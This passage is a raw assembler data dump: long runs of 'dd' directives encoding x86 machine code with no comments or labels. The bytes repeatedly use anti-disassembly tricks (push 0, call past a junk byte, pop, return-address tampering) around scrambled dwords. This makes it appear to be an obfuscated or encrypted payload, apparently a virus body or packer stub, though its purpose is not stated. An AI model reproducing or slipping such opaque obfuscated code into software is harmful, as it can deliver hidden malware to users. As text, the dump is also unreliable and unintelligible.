		dd 2454895Ah, 24448104h, 1804h,	0C3524200h, 0D0196F50h
		dd 0E71BBF55h, 0BD8B6601h, 62C14CDh, 90F8026Ah,	3A02F2BBh
		dd 8B66505Dh, 6A90F9h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 170424h, 53430000h, 93F10CC3h, 8995FFC2h, 0F9062C05h
		dd 0D96E9h, 0E800h, 815D0000h, 312D84EDh, 7E906h, 1E050000h
		dd 0F267A892h, 5BD8B72h, 8D062C24h, 2F9AD385h, 66579006h
		dd 505FFE8Bh, 0DF45BF66h, 56006A90h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1D04h,	0C3564600h, 6FC0C9CBh
		dd 0B615E489h, 8D89AF6Fh, 62C0D89h, 9E960h, 0C8DE0000h
		dd 0FF2F158Fh, 608706B9h, 387E380h, 2C199185h, 64616106h
		dd 35FFh, 6A0000h, 3E850h, 58200000h, 448958C3h, 44810424h
		dd 1D0424h, 50400000h, 0EF143CC3h, 60D799CAh, 8B68F8D6h
		dd 2C29EDBDh, 61BD3306h, 64062C19h, 2589h, 6A0000h, 3E856h
		dd 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 8F22C2C3h, 81675FEFh, 0E78F82CBh, 52F5602Ch,	2DF5B503h
		dd 615F062Ch, 1A6985FFh, 0B589062Ch, 62C13D1h, 0F60FF6Ah
		dd 1181h, 0CE900h, 4DB70000h, 226C6FFDh, 24B2D189h, 8D23A1F2h
		dd 62C33D5h, 99B5FF61h,	6A062C05h, 3E85500h, 20000000h
		dd 895DC35Dh, 8104246Ch, 14042444h, 45000000h, 0FB4C355h
		dd 286h, 0FFD98B00h, 2C04C595h,	0E2E906h, 1BF0000h, 0F94AB4C1h
		dd 6E900B0h, 7B000000h,	7A298084h, 8B70E672h, 8B71E4F9h
		dd 2C29419Dh, 0F613C06h, 0BB83h, 0C8B60F00h, 37AAE781h
		dd 6BA3D5Ch, 80000000h,	0C18BE1CFh, 1959BB66h, 8904E8C1h
		dd 2C16398Dh, 0E2F76606h, 1E19B589h, 0EF81062Ch, 38FFFB78h
		dd 0F781C82Bh, 6F769890h, 8589D18Bh, 62C21F1h, 0E95FF556h
		dd 74h,	3F87F381h, 858B3C71h, 505F4C4Ch, 299D9D8Bh, 0C083062Ch
		dd 0ED8D2907h, 83062C24h, 0D03B00C0h, 0D830Fh, 0BF0F0000h
		dd 46E9DAh, 0D9BF0000h,	8B290C71h, 0FFFFFF8Dh, 0FF960FFh
		dd 688h, 0A1853100h, 61062C10h,	0F01E183h, 2384h, 0CDBD8B00h
		dd 83062C1Ch, 0FFFFFFA5h, 8166FEFFh, 89BC9AEFh,	5F4C4C95h
		dd 41953150h, 0E9062C31h, 0
		dd 0AB88B58Dh, 6A0630h,	3E850h,	58200000h, 448958C3h, 44810424h
		dd 170424h, 50400000h, 53C2A4C3h, 0AE80Ch, 52460000h, 2C1D19h
		dd 669D98FEh, 95E78166h, 6A5F9Ch, 0E830Fh, 8B600000h, 2C0551BDh
		dd 518D8906h, 61062C15h, 26B195FFh, 9D89062Ch, 62C0DD5h
		dd 11D2B9h, 52006A00h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1704h, 0C3524200h, 3F3F8BB0h, 21DBD8Bh, 0E183062Ch
		dd 53006AFCh, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 8E5BEF0Bh, 0AE99EF4h, 21000000h,	0E19C0929h
		dd 0C06AF1E5h, 18C0F06h, 0F8000000h, 51006AFCh,	3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1D04h,	0C3514100h, 0F8DAC255h
		dd 7F571Ch, 0BF66074Bh,	0B8224Ah, 0BA000000h, 0
		dd 0C233ADF9h, 0D003E8D1h, 7504E983h, 59D03F4h,	6A062C2Dh
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 19042444h
		dd 45000000h, 8F35C355h, 5F70E0B8h, 1C7DBD89h, 880D062Ch
		dd 29000000h, 2C25959Dh, 0A5958B06h, 6A062C2Bh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 19042444h, 45000000h
		dd 5A85C355h, 0D0A8C552h, 364EEBBh, 0D98D8B17h,	8B062C12h
		dd 2C208DBDh, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 158188Bh, 2C1985B5h,	0EFEB8106h, 0E91ABD8Bh,	5, 0E86448D6h
		dd 71BD83B1h, 62C20h, 0BC840Fh,	6A0000h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1A0424h, 51410000h, 9645C2C3h
		dd 5D2238E3h, 0B8h, 0C8D0F00h, 0F000000h, 689h,	0F5BD8900h
		dd 89062C0Ch, 2C1DFD95h, 518D8D06h, 6A062C4Fh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 17042444h, 46000000h
		dd 5674C356h, 81667015h, 0E91779C3h, 14h, 95DB3D1Ah, 52323534h
		dd 0E9B15D2Dh, 8AB24763h, 92777E77h, 9D8D0160h,	81062C2Bh
		dd 0F4EE0DEFh, 0E1FF610Fh, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 17h, 5AC35040h, 8B84F9C2h,	2C1109BDh, 0E7816606h
		dd 0BD8330A1h, 62C29C1h, 88840F00h, 6A000004h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 16042444h, 43000000h
		dd 7785C353h, 359D29E3h, 83062C0Fh, 2C29C1BDh, 840F0106h
		dd 472h, 68D0Fh, 8D890000h, 62C0C51h, 20ED9D8Bh, 0BD83062Ch
		dd 62C29C1h, 1D860F03h,	6A000004h, 3E85000h, 20000000h
		dd 8958C358h, 81042444h, 15042444h, 40000000h, 0E9A0C350h
		dd 60F1C380h, 0E851006Ah, 3, 59C35920h,	4244C89h, 4244481h
		dd 1Bh,	87C35141h, 0AF260D39h, 571BDAF7h, 1C5D9D8Bh, 665F062Ch
		dd 0D380D98Ch, 0E180FCF8h, 57006A04h, 3E8h, 0C35F2000h
		dd 247C895Fh, 24448104h, 1A04h,	0C3574700h, 0B604DB46h
		dd 80C648F8h, 13E98CEBh, 0AE000000h, 9EAB6E4Dh,	0D8C9D30Eh
		dd 0ADA8F896h, 0A2B8315Dh, 0C90A51ECh, 132840Fh, 6A0000h
		dd 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h, 53430000h
		dd 0C2A7E0C3h, 4164FF04h, 99BD2BDFh, 33062C0Ah,	2C06E1BDh
		dd 0F1858B06h, 0F5062C1Dh, 0B318533h, 6A062Ch, 3E855h
		dd 5D200000h, 6C895DC3h, 44810424h, 170424h, 55450000h
		dd 22DB54C3h, 0B4BF66AEh, 8B669036h, 6A9050FAh,	3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1C042444h, 41000000h
		dd 166DC351h, 0FE92EC35h, 8B4F8A3Ah, 2C12819Dh,	6A006A06h
		dd 3E85200h, 20000000h,	895AC35Ah, 81042454h, 1D042444h
		dd 42000000h, 7DFDC352h, 48EFA20Dh, 0E7DA3B57h,	53DBD33h
		dd 0E468062Ch, 8B2F5B69h, 243481D8h, 2F446A1Bh,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 1Ah, 4CC35141h, 7B33BADBh
		dd 95FF881Eh, 62C3465h,	0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Dh, 0DBC35646h, 0B00618B3h, 0D980D4ACh, 0B35DBBE6h
		dd 85890D79h, 62FB020h,	11999D8Bh, 0BDE9062Ch, 66000001h
		dd 2051EF81h, 0B018858Bh, 0FE9062Fh, 7F000000h,	13C4339Dh
		dd 0D293C111h, 0E00DFBD2h, 0C7137Fh, 18h, 0E851006Ah, 3
		dd 59C35920h, 4244C89h,	4244481h, 17h, 0D4C35141h, 0F55BE999h
		dd 129D9D8Bh, 0B58B062Ch, 62FB01Ch, 0E857006Ah,	3, 5FC35F20h
		dd 4247C89h, 4244481h, 19h, 2FC35747h, 0D27A89FDh, 6E813h
		dd 5A2D0000h, 2BA5FB6Ah, 0BB1BD29h, 0E85F062Ch,	9, 7879D19Eh
		dd 38823843h, 5BFE8A2Bh, 0C55858Bh, 6A062Ch, 3E855h, 5D200000h
		dd 6C895DC3h, 44810424h, 160424h, 55450000h, 1B9CDBC3h
		dd 14B99D8Bh, 689062Ch,	7D5B531h, 9D8B062Ch, 62C2BDDh
		dd 1DF1858Bh, 0BF0F062Ch, 0E38166D8h, 4689BCF2h, 0FDB58904h
		dd 50062C04h, 4532B960h, 38B12779h, 24348961h, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 1Bh, 1AC35545h, 8F501CE3h
		dd 0F43EAADh, 684h, 459D0B00h, 0FF062C21h, 2FB018B5h, 0B4DF8106h
		dd 0E833BC7Eh, 4, 1F03FFh, 1684D0BBh, 8E85052h,	0B1000000h
		dd 0DAB35DA7h, 5BD6C36Fh, 424448Bh, 94ECBF66h, 0E860008Bh
		dd 0Ch,	0B36144B3h, 9FA3F2BEh, 0A64BD1E0h, 44896159h, 0FA8A0424h
		dd 53006A58h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1904h
		dd 0C3534300h, 1782511Bh, 0BD8B696Dh, 62C2201h,	2BF58D89h
		dd 858D062Ch, 62FB020h,	12E38053h, 489505Bh, 45BD0924h
		dd 0FF062C31h, 2C346595h, 5CEB8106h, 0F947751Eh, 4D858961h
		dd 0B3062C2Bh, 0C185C716h, 3062C29h, 6A000000h,	3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1A042444h, 40000000h
		dd 0DCE9C350h, 749C2668h, 99BD2B15h, 83062C00h,	2FB020BDh
		dd 840F0006h, 50h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 14h, 8C35646h, 48E9E5B7h, 6A000000h, 3E85000h
		dd 20000000h, 8958C358h, 81042444h, 1D042444h, 40000000h
		dd 0CDBCC350h, 679BDFD5h, 86D45A8Fh, 459D0352h,	5B062C0Eh
		dd 110C3050h, 1114400h,	3010E8C1h, 21144h, 5803114Ch, 7504E983h
		dd 5036EBE7h, 110430h, 0C1011164h, 443010E8h, 64000211h
		dd 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h
		dd 28580211h, 30011164h, 0E9831104h, 0EBE77504h, 6AC08B00h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 19042444h
		dd 43000000h, 2879C353h, 49A22FC2h, 0EF19D0Bh, 6A062Ch
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 1A0424h, 55450000h
		dd 65D60C3h, 13EBBA63h,	29C1BD83h, 0F03062Ch, 3D085h, 0BD83F800h
		dd 62FB020h, 0C2840F00h, 6A000003h, 3E85100h, 20000000h
		dd 8959C359h, 8104244Ch, 16042444h, 41000000h, 5C351h
		dd 32BF6691h, 20B5FF34h, 56062FB0h, 0FF5B1CB7h,	2C19C995h
		dd 57006A06h, 3E8h, 0C35F2000h,	247C895Fh, 24448104h, 1604h
		dd 0C3574700h, 8B384B03h, 2FB014B5h, 0AE906h, 0A3F50000h
		dd 93501008h, 1EFD6233h, 106C7h, 6A0001h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 190424h, 50400000h, 0AAC5C4C3h
		dd 996E3B4h, 2C2051BDh,	0BD8B6006h, 62C29DDh, 2B49B58Bh
		dd 5061062Ch, 0DE9h, 24F2F900h,	91CBEB32h, 5081D47Bh, 3489EC3Ah
		dd 85BD8B24h, 0FF062C2Ch, 2FB020B5h, 95FFF506h,	62C08BDh
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 1Ah, 0B1C35747h
		dd 8F8D6116h, 0CE93B00h, 0E5000000h, 92F890F7h,	0A02DE7B2h
		dd 8B7EAF37h, 2FB014B5h, 8E906h, 83FA0000h, 480491Ah, 858B3845h
		dd 62C23B1h, 33C9BD89h,	8689062Ch, 0C4h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 37C35040h, 89FED335h
		dd 991FE9E5h, 9EE38166h, 0A5958B6Fh, 83062C2Bh,	8B0F04C2h
		dd 16h,	11E9h, 3211B200h
		dd 0A1645F36h, 21C370B4h, 4ECC70Fh, 50897BF1h, 1D8D3120h
		dd 8D062C02h, 2FC56485h, 51006A06h, 3E8h, 0C3592000h, 244C8959h
		dd 24448104h, 1604h, 0C3514100h, 0E8F3A918h, 11h, 0DD1B8BECh
		dd 0D0536650h, 0AEB82D8Fh, 4BE88E07h, 9CD7812Fh, 5B07AB9Bh
		dd 0B88689h, 6A0000h, 3E853h, 5B200000h, 5C895BC3h, 44810424h
		dd 190424h, 53430000h, 0FD93DAC3h, 8BBFFF05h, 2C19C5BDh
		dd 0F006A06h, 198Fh, 14E900h, 36AF0000h, 0DAAED532h, 6B20F3DCh
		dd 916E13h, 0BB745ADh, 0B5FFB037h, 62FB020h, 0E5BD8B50h
		dd 5F062C08h, 95FFF98Bh, 62C0589h, 68F0Fh, 0BD2B0000h
		dd 62C2609h, 52505096h,	8B665250h, 5A310FDAh, 60310F58h
		dd 10E9h, 0D83D5900h, 12A469AAh, 5CD7E557h, 0BA334BECh
		dd 1EBB66DBh, 585A61C4h, 41BB6696h, 20B5FFF1h, 6A062FB0h
		dd 3E85500h, 20000000h,	895DC35Dh, 8104246Ch, 18042444h
		dd 45000000h, 2F95C355h, 8942E87Fh, 2C1E6D8Dh, 0D995FF06h
		dd 6A062C11h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 1D042444h, 42000000h, 4345C352h, 0DB188EF7h,	4AFF6AE6h
		dd 2C319D8Bh, 0BD83062Ch, 62C07B5h, 38840F00h, 89000000h
		dd 2C1E8D9Dh, 0BF665006h, 348995E1h, 52006A24h,	3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1B04h,	0C3524200h, 9B5DBF9Bh
		dd 0C49C56EDh, 66DEBF0Fh, 0FF2274BBh, 2FB020B5h, 55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1604h, 0C3554500h
		dd 10445E8h, 2C0F91BDh,	2995FF06h, 89062C15h, 2C20D985h
		dd 0B5FFFC06h, 62FB020h, 21559D29h, 95FF062Ch, 62C0479h
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 19h, 0E2C35646h
		dd 81FC7C02h, 199D01A8h, 83062C24h, 2C1535BDh, 840F0206h
		dd 19h,	0A1AFBF66h, 89858BF9h, 66062C01h, 8FD2D781h, 30000C6h
		dd 2C20ED9Dh, 6185C706h, 62C16h, 6A000000h, 3E85300h, 20000000h
		dd 895BC35Bh, 8104245Ch, 18042444h, 43000000h, 0EC45C353h
		dd 8994E482h, 2C2259B5h, 0F36EE906h, 8B66FFFFh,	89C18BD8h
		dd 2C068D95h, 0BD9D8906h, 8D062C0Fh, 2C32A585h,	55006A06h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 0C7BA479Bh, 0DE93F91h, 78000000h, 0CE827E88h, 0FEC78155h
		dd 0AA7D4815h, 89F98B50h, 6A2404h, 3E857h, 5F200000h, 7C895FC3h
		dd 44810424h, 1D0424h, 57470000h, 0D18293C3h, 20FB675h
		dd 8A3A94A7h, 0D38166FAh, 8B663760h, 6A006ADFh,	3E85500h
		dd 20000000h, 895DC35Dh, 8104246Ch, 15042444h, 45000000h
		dd 5618C355h, 9D8B006Ah, 62C0B7Dh, 3D0C858Dh, 0BD8B0631h
		dd 62C29BDh, 8B05C083h,	2C32BDBDh, 60509006h, 14E9h, 0E4D3BB00h
		dd 0B33D8287h, 6ECE6D3Ah, 39E678A6h, 0EFEEABDEh, 61616044h
		dd 8B66505Fh, 6A90FEh, 3E857h, 5F200000h, 7C895FC3h, 44810424h
		dd 150424h, 57470000h, 805CAAC3h, 6AF8CBh, 0E855006Ah
		dd 3, 5DC35D20h, 4246C89h, 4244481h, 16h, 62C35545h, 6A1DA4h
		dd 95FFDA8Ah, 62C239Dh,	8E9h, 0C0B9A100h, 8405C0FFh, 428D8D5Ah
		dd 31062FA0h, 2C0AB5B5h, 0E8D1FF06h, 11h, 782F5881h, 9F184229h
		dd 75C11BCFh, 0F40DC726h, 8D896017h, 62C2929h, 94BFBE66h
		dd 0BD835B61h, 62C09A1h, 93850F01h, 6A000000h, 3E85100h
		dd 20000000h, 8959C359h, 8104244Ch, 1B042444h, 41000000h
		dd 6D86C351h, 735DE762h, 0C0BB25FDh, 6A40654Eh,	50F88B02h
		dd 14E8h, 0FEC16200h, 41CA276Fh, 8501C5C5h, 3CEEA63Ch
		dd 0F39310C1h, 10E9A9h,	5B880000h, 2CD34301h, 0E366E0DEh
		dd 4F0AE388h, 895B2CAEh, 6A2404h, 3E855h, 5D200000h, 6C895DC3h
		dd 44810424h, 1D0424h, 55450000h, 0B06A41C3h, 1A435200h
		dd 6631F989h, 95FFFA8Bh, 62C0589h, 19758D89h, 85E9062Ch
		dd 0E800000Dh, 0
		dd 16ED815Dh, 6A06313Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1D042444h, 40000000h, 0D26C350h, 0B13ED15Dh
		dd 184FA404h, 0E852006Ah, 3, 5AC35A20h,	4245489h, 4244481h
		dd 18h,	0D8C35242h, 41F427C9h, 2B3D9D2Bh, 9D8B062Ch, 62C1BC5h
		dd 9AD3858Dh, 6A062Fh, 3E855h, 5D200000h, 6C895DC3h, 44810424h
		dd 1B0424h, 55450000h, 0E70C9C3h, 7311350Dh, 2BD98BF1h
		dd 2C1279BDh, 0F98A9006h, 0C1BB6650h, 0B5019077h, 62C2365h
		dd 35FF64h, 8B000000h, 258964DEh, 0
		dd 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h, 1Bh, 0ECC35343h
		dd 7D97FBECh, 8A5FC4AFh, 658D01DCh, 0FF062C15h,	2C1A6985h
		dd 53006A06h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 210316D3h, 0B86C0DCFh, 33D98B66h, 2C049D9Dh
		dd 60FF6A06h, 12E8h, 0C578300h,	0E738CECFh, 8E67E4B3h
		dd 20B21508h, 8B1AA6B0h, 2C0D898Dh, 0FF615806h,	2C2C35B5h
		dd 50006A06h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1D04h
		dd 0C3504000h, 126F0364h, 0CDCE0AE0h, 95FFC13Fh, 62C04C5h
		dd 134E9h, 1BE38100h, 0B009F103h, 49BD8B00h, 0E6062C2Dh
		dd 12E970h, 0FD730000h,	44128B25h, 167CDE6h, 0FE3558D7h
		dd 537E3B7Bh, 0EE971E4h, 37000000h, 705119DEh, 0A85C7366h
		dd 1180DC81h, 0F613C90h, 0F083h, 7E900h, 4AD60000h, 1E0C789Ch
		dd 0C8B60F1Bh, 11CBADBBh, 6BA18h, 14E90000h, 0CE000000h
		dd 32ECD508h, 3EAC1283h, 0A227D7E6h, 182295D1h,	8B911B7Fh
		dd 0B0BF66C1h, 4E8C188h, 2959BD33h, 0F766062Ch,	0CABF66E2h
		dd 89C82BC8h, 2C3155B5h, 0E9D18B06h, 0Ah, 0FD8CFBF3h, 918B5298h
		dd 8AE97DBBh, 56000000h, 4642BF66h, 4C858B5Bh, 0F9494755h
		dd 0F07C083h, 0C83h, 6860F00h, 81000000h, 2D424EC7h, 0C08326h
		dd 5F15BB66h, 830FD03Bh, 1Dh, 0BE8h, 40642000h,	4F3806Eh
		dd 28FB8F8Eh, 42E95FF5h, 89000000h, 2C1D5595h, 0FF8D8B06h
		dd 3FFFFFFh, 2C0B89BDh,	1E18306h, 27840Fh, 860F0000h, 5
		dd 0D915C7BFh, 0FFA5830Fh, 0FEFFFFFFh, 24A98589h, 9589062Ch
		dd 4947554Ch, 0A0C6BF66h, 0E9h,	5AB58D00h, 6A0630BDh, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 19AEC353h, 0BAB4A381h, 0F8E95736h, 6A35B3h, 197D9D8Bh
		dd 95FF062Ch, 62C26B1h,	10C3B9h, 0B9B58900h, 83062C14h
		dd 6AFCE1h, 3E851h, 59200000h, 4C8959C3h, 44810424h, 1C0424h
		dd 51410000h, 3924CFC3h, 221B9A3Ch, 7FB7126Eh, 57006AFCh
		dd 3E8h, 0C35F2000h, 247C895Fh,	24448104h, 1804h, 0C3574700h
		dd 0D564D33Bh, 21BD3160h, 0B8062C2Ch, 0
		dd 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h, 16h, 60C35646h
		dd 880FBEC5h, 6, 15918D89h, 0BD23062Ch,	62C1B4Dh, 0BD8BD22Bh
		dd 62C1B75h, 0D1C233ADh, 83D003E8h, 0F47504E9h,	0E851006Ah
		dd 3, 59C35920h, 4244C89h, 4244481h, 15h, 39C35141h, 11E9CDh
		dd 829D0000h, 4CAF356Bh, 0E5FDB3AEh, 0E42CE1C5h, 6A0FAF8Eh
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 43ABC351h, 14419D33h, 880D062Ch, 31000000h
		dd 2C2CA99Dh, 0A5958B06h, 8B062C2Bh, 0D98D8BDFh, 89062C12h
		dd 2C218DB5h, 0C28B5006h, 0C103188Bh, 0C18B188Bh, 0C203E8D1h
		dd 0E958188Bh, 0Eh, 0B2D69A19h,	0AA9DF4E3h, 0DEEB37FCh
		dd 6AB8E5h, 3E850h, 58200000h, 448958C3h, 44810424h, 190424h
		dd 50400000h, 54B8A3C3h, 8A433DD2h, 71BD83FAh, 62C20h
		dd 87840Fh, 6A0000h, 3E853h, 5B200000h,	5C895BC3h, 44810424h
		dd 170424h, 53430000h, 4E432C3h, 820FF929h, 4, 347BB66h
		dd 0B8h, 53006A00h, 3E8h, 0C35B2000h, 245C895Bh, 24448104h
		dd 1C04h, 0C3534300h, 0C4ABBCB7h, 0D2DC6B4Bh, 399D8995h
		dd 0F062C06h, 68Fh, 0B99D8B00h,	8D062C08h, 2C4F518Dh, 0FE8B6606h
		dd 0AE9E1FFh, 0DC000000h, 14D11384h, 0B5E88862h, 0BD8B56D0h
		dd 62C1C15h, 0C1BD835Fh, 62C29h, 435840Fh, 6A0000h, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 4BD9FFC3h, 0C1BD832Eh, 1062C29h, 424840Fh, 6A0000h
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1B0424h, 57470000h
		dd 4F5F07C3h, 0F9D7782Dh, 5DC78187h, 8367EAD8h,	2C29C1BDh
		dd 860F0306h, 3B8h, 0E853006Ah,	3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Bh, 0CDC35343h, 90026E52h, 8BDC47DDh, 2C0F919Dh
		dd 6A6006h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h
		dd 57470000h, 1FA045C3h, 8C66D98Bh, 56006AD9h, 3E8h, 0C35E2000h
		dd 2474895Eh, 24448104h, 1604h,	0C3564600h, 8B99F303h
		dd 2C0F2DBDh, 4E18006h,	27FEE781h, 0C90A588Eh, 0E8840Fh
		dd 6A0000h, 3E857h, 5F200000h, 7C895FC3h, 44810424h, 1C0424h
		dd 57470000h, 0FA7EB0C3h, 1E008CD0h, 8BFCE0A7h,	2C1DF185h
		dd 56006A06h, 3E8h, 0C35E2000h,	2474895Eh, 24448104h, 1504h
		dd 0C3564600h, 85335489h, 62C0B31h, 3FF38166h, 6660502Ch
		dd 8B66C18Bh, 48961D6h,	9DB50124h, 6A062C1Ah, 50006A00h
		dd 3E8h, 0C3582000h, 24448958h,	24448104h, 1B04h, 0C3504000h
		dd 330CFB73h, 9B592125h, 4E8h, 1F03FF00h, 448B5000h, 0AFBF0424h
		dd 8B0382C5h, 60575000h, 895B5F61h, 66042444h, 2958D88Bh
		dd 2C003195h, 6595FF06h, 6A062C34h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 14042444h, 42000000h, 89F1C352h
		dd 2FB02085h, 51958906h, 0E9062C2Ch, 1ABh, 858B5F51h, 62FB018h
		dd 0C7C2C380h, 1800h, 57006A00h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 0B0E79F40h, 5B97F947h
		dd 6050C256h, 80CB8B66h, 5F6155CBh, 0BE9h, 0D3862F00h
		dd 71BBD581h, 13751C36h, 0B01CB58Bh, 0B589062Fh, 62C0F59h
		dd 0C55858Bh, 8D01062Ch, 62C0C91h, 6A0689h, 3E850h, 58200000h
		dd 448958C3h, 44810424h, 1A0424h, 50400000h, 93EF93C3h
		dd 98ED1DA0h, 8E9h, 0E3A2B900h,	379C97E4h, 0F1858B8Bh
		dd 0F062C1Dh, 68Ah, 0F1BD8900h,	89062C00h, 2C1D8185h, 4468906h
		dd 7ABABF66h, 0F6E4BB50h, 3489663Bh, 9D896024h,	62C2355h
		dd 61D08B66h, 0B018B5FFh, 6A062Fh, 3E853h, 5B200000h, 5C895BC3h
		dd 44810424h, 1B0424h, 53430000h, 0E49C76C3h, 99A394FEh
		dd 518D01DEh, 68062C2Dh, 1A7F4FE1h, 8E85250h, 41000000h
		dd 8DECFEECh, 66520AECh, 5F9BFDBFh, 5BBF310Fh, 5A195D65h
		dd 24348158h, 1A604C1Eh, 0E850006Ah, 3,	58C35820h, 4244489h
		dd 4244481h, 15h, 8DC35040h, 2D858947h,	66062C2Ch, 858DD88Bh
		dd 62FB020h, 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h
		dd 19h,	7CC35141h, 0D69C2863h, 0CE91Ch,	8C750000h, 0DB027B37h
		dd 8DE341C0h, 50506569h, 0AE952h, 1EA40000h, 234C1263h
		dd 2A6DDEA3h, 0FE8A310Fh, 489585Ah, 95FFFC24h, 62C3465h
		dd 0F7B70F60h, 616157B5h, 0E850006Ah, 3, 58C35820h, 4244489h
		dd 4244481h, 16h, 4FC35040h, 85C75470h,	62C29C1h, 3, 0E852006Ah
		dd 3, 5AC35A20h, 4245489h, 4244481h, 1Dh, 0C0C35242h, 55625BD3h
		dd 59A3D4CDh, 20BD8345h, 62FB0h, 4A840Fh, 6A0000h, 3E853h
		dd 5B200000h, 5C895BC3h, 44810424h, 1C0424h, 53430000h
		dd 598054C3h, 57C9A8B4h, 5E81F02h, 50000000h, 0FD623393h
		dd 209DBD01h, 0E95F062Ch, 8, 0AAA40182h, 92CB96FDh, 1EE9h
		dd 52D78000h, 110C3050h, 1114400h, 3010E8C1h, 21144h, 5803114Ch
		dd 7504E983h, 5036EBE7h, 110430h, 0C1011164h, 443010E8h
		dd 64000211h, 83580311h, 0E77504E9h, 0C1501BEBh, 642810E8h
		dd 44300311h, 28580211h, 30011164h, 0E9831104h,	0EBE77504h
		dd 6AC08B00h, 3E85500h,	20000000h, 895DC35Dh, 8104246Ch
		dd 1C042444h, 45000000h, 3C01C355h, 9D614602h, 0E92DDBF5h
		dd 9, 371B55C8h, 0C470DC0h, 6D9D335Fh, 83062C1Eh, 2C29C1BDh
		dd 850F0306h, 3C5h, 0F418D89h, 24B7062Ch, 0B020BD83h, 0F00062Fh
		dd 3B084h, 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h
		dd 1D04h, 0C3514100h, 46FF1657h, 0E1D3304h, 0BF0FE990h
		dd 10E8D9h, 0D4A40000h,	0C03F46F8h, 92B06C45h, 0B7D7363Ah
		dd 1BBB62ADh, 5B64B7A5h, 0B020B5FFh, 6A062Fh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 5BB715C3h
		dd 651F65B6h, 0FF71557Eh, 2C19C995h, 0DEBF0F06h, 0B014B58Bh
		dd 0BF0F062Fh, 106C7DFh, 0E9000100h, 7,	0B30BA3BEh, 966CCAC8h
		dd 9C2CBF51h, 505F553Fh, 0FF87BB66h, 5E996h, 8C6D0000h
		dd 0F09780Fh, 8Bh, 20B5FF00h, 0F9062FB0h, 8BD95FFh, 8589062Ch
		dd 62C1E69h, 0B014B58Bh, 9D89062Fh, 62C067Dh, 23B1858Bh
		dd 840F062Ch, 13h, 0EE9h, 37BE1E00h, 2D0A896Dh,	0B305F9C5h
		dd 89A0B182h, 0C486h, 958BF900h, 62C2BA5h, 0E857006Ah
		dd 3, 5FC35F20h, 4247C89h, 4244481h, 15h, 8DC35747h, 4C2838Fh
		dd 0E851006Ah, 3, 59C35920h, 4244C89h, 4244481h, 1Bh, 0A9C35141h
		dd 0E559034Eh, 8B904CB9h, 0F9B70FD8h, 6A205089h, 3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 19042444h, 43000000h
		dd 4E1C353h, 0FDA398D4h, 9E9h, 0E845B400h, 92A4E9C8h, 0BF561886h
		dd 4F36C359h, 0B99D335Fh, 8D062C21h, 2FC56485h,	6DBD8906h
		dd 89062C1Dh, 0B886h, 0BD896000h
		dd 62C1D71h, 6175C580h,	431BBF66h, 0E951006Ah, 12h, 2AA296E2h
		dd 6640ACBCh, 66B54E43h, 19A9CE6Eh, 0FF5B59BAh,	2FB020B5h
		dd 0B5BD8B06h, 0FF062C29h, 2C058995h, 89E3B706h, 2C343585h
		dd 8E0F9606h, 8, 0F525056h, 5F585A31h, 96FE8B50h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 25C35343h, 0B5FFA1E4h
		dd 62FB020h, 0E853006Ah, 3, 5BC35B20h, 4245C89h, 4244481h
		dd 16h,	1BC35343h, 0D98A1098h, 0F2DBD8Bh, 95FF062Ch, 62C11D9h
		dd 999589FCh, 83062C22h, 2C07B5BDh, 840F0006h, 5Ah, 10E8h
